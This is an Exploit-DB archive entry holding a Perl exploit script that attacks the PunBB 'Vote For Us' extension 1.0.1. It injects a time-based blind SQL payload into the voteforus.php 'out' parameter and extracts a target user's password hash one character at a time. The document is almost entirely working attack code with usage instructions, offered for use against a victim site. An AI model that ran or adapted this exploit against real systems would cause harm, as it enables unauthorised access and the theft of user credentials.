Exploit-DB #9058
Description: PunBB Extension Vote For Us 1.0.1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-06-30
Author: Dante90

Exploit:
#!/usr/bin/perl
#[0-Day] PunBB VoteForUs.php OUT Mod <= v1.0.1 Remote Blind SQL Injection Exploit
#Coded By Dante90, WaRWolFz Crew
#Bug Discovered By: Dante90, WaRWolFz Crew
#Download: http://www.punres.org/desc.php?pid=378

use strict;
use LWP::UserAgent;

use HTTP::Request::Common;
use Time::HiRes;
use IO::Socket;

my ($Hash,$Time,$Time_Start,$Time_End,$Response);
my($Start,$End);
my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
my $Host = "http://www.victime_site.org/path/"; #Insert Victime Web Site Link
my $id  = shift or &usage;
my $Method = HTTP::Request->new(GET => $Host);
my $HTTP = new LWP::UserAgent;
my $Referrer = "http://warwolfz.altervista.org/";
my $DefaultTime = request($Referrer);

sub Blind_SQL_Jnjection{
    my ($dec,$hex) = @_;
    return "./voteforus.php?out=-1+OR+1!=(SELECT IF((ASCII(SUBSTRING(`password`,${dec},1))=${hex}),benchmark(200000000,CHAR(0)),0) FROM `users` WHERE `id`=${id})/*";
}

for(my $I=1; $I<=40; $I++){ #N Hash characters
    for(my $J=0; $J<=15; $J++){ #0 -> F
        $Time_Start = time();
        $HTTP->get($Host.Blind_SQL_Jnjection($I,$chars[$J]));
        $Time_End = time();
        $Time = request($Referrer);
        refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);
        if($Time_End - $Time_Start > 6){
            $Time = request($Referrer);
            refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);
            if($Time_End - $Time_Start > 6){
                syswrite(STDOUT,chr($chars[$J]));
                $Hash .= chr($chars[$J]);
                $Time = request($Referrer);
                refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);
                last;
            }
        }
    }
    if($I == 1 && length $Hash < 0 && !$Hash){
        print " * Exploit Failed                                      *\n";
        print " ------------------------------------------------------ \n";
        exit;
    }
    if($I == 40){
        print " * Exploit Successed                                   *\n";
        print " ------------------------------------------------------\n ";
        system("pause");
    }
}

sub usage{
    system("cls");
    {
        print " \n [0-Day] PunBB VoteForUs.php OUT Mod <= v1.0.1 Remote Blind SQL Injection Exploit\n";
        print " ------------------------------------------------------ \n";
        print " * USAGE:                                             *\n";
        print " * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n";
        print " * perl name_exploit.pl [id]                          *\n";
        print " ------------------------------------------------------ \n";
        print " *         Powered By Dante90, WaRWolFz Crew          *\n";
        print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
        print " ------------------------------------------------------ \n";
    };
    exit;
}

sub request{
    $Referrer = $_[0];
    $Method->referrer($Referrer);
    $Start = Time::HiRes::time();
    $Response = $HTTP->request($Method);
    $Response->is_success() or die "$Host : ", $Response->message,"\n";
    $End = Time::HiRes::time();
    $Time = $End - $Start;
    return $Time;
}

sub refresh{
    system("cls");
    {
        print " \n [0-Day] PunBB VoteForUs.php OUT Mod <= v1.0.1 Remote Blind SQL Injection Exploit\n";
        print " ------------------------------------------------------ \n";
        print " * USAGE:                                             *\n";
        print " * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n";
        print " * perl name_exploit.pl [uid]                         *\n";
        print " ------------------------------------------------------ \n";
        print " *         Powered By Dante90, WaRWolFz Crew          *\n";
        print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
        print " ------------------------------------------------------ \n";
    };
    print " * Victime Site: " . $_[0] . "\n";
    print " * Default Time: " . $_[1] . " seconds\n";
    print " * BruteForcing Hash: " . chr($chars[$_[2]]) . "\n";
    print " * BruteForcing N Char Hash: " . $_[5] . "\n";
    print " * SQL Time: " . $_[4] . " seconds\n";
    print " * Hash: " . $_[3] . "\n";
}

#WaRWolFz Crew

# milw0rm.com [2009-06-30]